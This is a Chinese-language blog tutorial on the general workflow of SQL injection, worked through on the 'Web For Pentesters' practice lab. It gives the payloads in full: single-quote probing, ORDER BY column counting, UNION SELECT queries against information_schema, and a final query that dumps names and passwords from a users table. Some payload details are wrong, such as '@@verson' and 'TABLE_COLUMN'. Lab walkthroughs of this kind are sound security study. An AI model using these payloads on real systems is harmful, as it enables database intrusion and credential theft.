SQL 注入一般流程
-
判断有无注入
单引号判断: ?name=root' 对应语句 select * from table where name='root'' 不符合语法规范,报错,说明有注入
and,or判断....很多,网上搜
order by 判断字段数 ,order by 5可以 6不行,说明5个字段
得到字段数后union select得到可以输出的字段: union select ,a union b 要求a,b字段数相同。
比如 ' union select 1,2,3,4,5 %23, 输出 1,3,5 说明这三个字段可以输出
' 单引号,%27 (16位ascii)
%23 #,注释
--+ 忽略下一个符号
利用可以输出的字段获取信息
下面用 Web For Pantesters 的 SQL injection 的example 1为例
example 1
1.
?name=root' 出错无输出,说明可以注入
2.
name=root' order by 5 --+ 正常
6--+ 出错,说明5个字段
root' union select 1,2,3,4,5 发现输出为1,2,3,可以用1,2,3列输出信息。 (这里不一定用12345,78945也行,无所谓)
3.查看基本信息
database() 数据库名,information_schema.tables 存储元数据, ...
利用union select 查询基本信息。
root' union select @@verson,@@datadir,database(),4,5
因为union 要求列数相同,故除了 @@verson,@@datadir,database() 外还要有4,5。这样得到version,路径,数据库名
查询表名
数据库名为 exercises,转化为16进制XXX
然后 union select TABLE_NAME,2,3,4,5 from information_schema.tables where TABLE_SCHEMA=XXX %23.... //(数据库名的16进制),注意注释掉后面
得到表名users。查询column name。
union select TABLE_COLUMN,2,3,4,5 from information_schema.columns where TABLE_NAME=XXX %23.... // 表名的16进制
4.
输出三项,得到name,password
' union select id,name,passwd,4,5 from users %23
有时候可以用 group_concat,concat_ws ,括号等输出更多列的信息。(比如在3列中输出5列信息)
标签:Web,name,输出,--,Pantesters,23,union,root,select From: https://blog.csdn.net/ztc131450/article/details/144701346